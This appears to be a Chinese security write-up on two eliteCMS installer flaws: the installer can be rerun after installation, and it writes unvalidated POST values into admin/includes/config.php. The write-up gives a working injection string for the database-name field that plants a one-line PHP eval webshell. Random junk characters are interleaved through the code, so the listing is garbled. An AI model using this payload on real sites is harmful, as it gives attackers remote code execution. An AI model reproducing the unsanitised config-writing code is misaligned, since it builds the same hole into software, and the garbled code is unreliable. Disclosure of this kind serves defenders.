eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

+ `' Z7 ~0 B0 w: e- d另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
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...
elseif ($_GET['step'] == "4") {
% n% C0 B( n2 p. K# L3 I0 V# P    $file = "../admin/includes/config.php";
    $write = "<?php\n";
" E! E' e6 ?: b- a3 X' b    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
, ~$ G" p8 |# U+ @7 m$ ?...略...
: T4 W% y/ s- d5 b+ B1 S    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
, v# \" ]9 z4 t8 D; h) F- O5 z    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
0 t2 O6 K6 b' D' c4 r    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
, Q6 c' J" Y9 D8 Q    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
9 `; }: ?8 Y5 l* ^3 X& J. N0 V    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
+ Z5 I1 [' c6 E8 U: c2 T    $write .= "if (!\$connection) {\n";
* u: n4 [; X( Z1 r    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
, {* ~* n3 r1 k% l; ^. d    $write .= "        \n";
    $write .= "} \n";
7 V% I, q# u& l1 d. z    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
( u  g. F+ t" ?) t. V9 _# {  n    $write .= "        die(\"Database select failed\" .mysql_error());\n";
+ }* ?6 D4 H2 y; N) r    $write .= "        \n";
    $write .= "} \n";
# r* S9 N7 M7 V+ g  V* U0 A( e    $write .= "?>\n";

    $writer = fopen($file, 'w');
3 f3 U8 S: h5 O...
& y! V6 J- u9 I+ K# D# ]
, _: e8 K4 V# @( M. o, _* ^9 H在看代码：
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$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
0 _. O  r$ c/ ?# Q$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
3 R# a' c( [$ _) ~: x2 l- E8 X6 w  m# |$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
9 J0 j( d9 Z/ _3 ^, z
取值未作任何验证
如果将数据库名POST数据：
1 i! c5 S% F7 S! J' f' d; h
3 d7 ^  c, u) g"?><?php eval($_POST[c]);?><?php
# P! t/ e- p& [3 \$ K; \
) V$ e6 a# t! O, l将导致一句话后门写入/admin/includes/config.php
0 H- C" E( y1 ?; |1 @1 W